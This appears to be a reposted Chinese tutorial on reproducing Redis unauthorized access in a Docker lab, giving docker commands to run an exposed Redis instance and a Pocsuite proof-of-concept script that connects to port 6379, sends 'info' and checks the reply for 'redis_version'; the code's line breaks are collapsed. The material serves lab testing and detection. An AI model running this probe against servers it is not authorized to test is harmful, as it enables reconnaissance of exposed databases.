Redis未授權訪問docker複現

來源:互聯網
上載者:User

標籤:time   known   red   ofo   gis   success   sea   else   res   

docker搜尋Redis鏡像
docker search redis
拉去鏡像到本地
docker pull redis
查看下載好的鏡像
docker images
運行鏡像
docker run -p 6379:6379 -d redis

-p 將容器的6379連接埠映射到主機的6379連接埠。

-d 將容器後台運行。

查看運行中的鏡像
docker ps
POC構成
#!/usr/bin/env python# -*- coding: utf-8 -*-import socketfrom pocsuite.utils import registerfrom pocsuite.poc import Output, POCBaseclass TestPOC(POCBase):    vulID = ‘0‘    version = ‘1‘    author = ‘nw01f‘    vulDate = ‘2018-10-23‘    createDate = ‘2018-10-23‘    updateDate = ‘2018-10-23‘    references = [‘http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/‘]    name = ‘Redis Unauthorized‘    appPowerLink = ‘https://www.redis.io‘    appName = ‘Redis‘    appVersion = ‘All‘    vulType = ‘Unauthorized‘    desc = ‘‘‘            redis Unauthorized    ‘‘‘    samples = [‘‘]    def _verify(self):        result = {}        payload = ‘\x69\x6e\x66\x6f\x0d\x0a‘     ##   info/r/n        s = socket.socket()        socket.setdefaulttimeout(4)        try:            host = self.url.split(‘:‘)[1].strip(‘/‘)            if len(self.url.split(‘:‘)) > 2:                port = int(self.url.split(‘:‘)[2].strip(‘/‘))            else:                port = 6379            s.connect((host, port))            s.send(payload)            data = s.recv(1024)            if data and ‘redis_version‘ in data:                result[‘VerifyInfo‘] = {}                result[‘VerifyInfo‘][‘url‘] = self.url                result[‘VerifyInfo‘][‘port‘] = port                result[‘VerifyInfo‘][‘result‘] = data[:20]        except Exception as e:            print e        s.close()        return self.parse_attack(result)    def _attack(self):        return self._verify()    def parse_attack(self, result):        output = Output(self)        if result:            output.success(result)        else:            output.fail("error")        return outputregister(TestPOC)
參考連結

http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

Redis未授權訪問docker複現

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.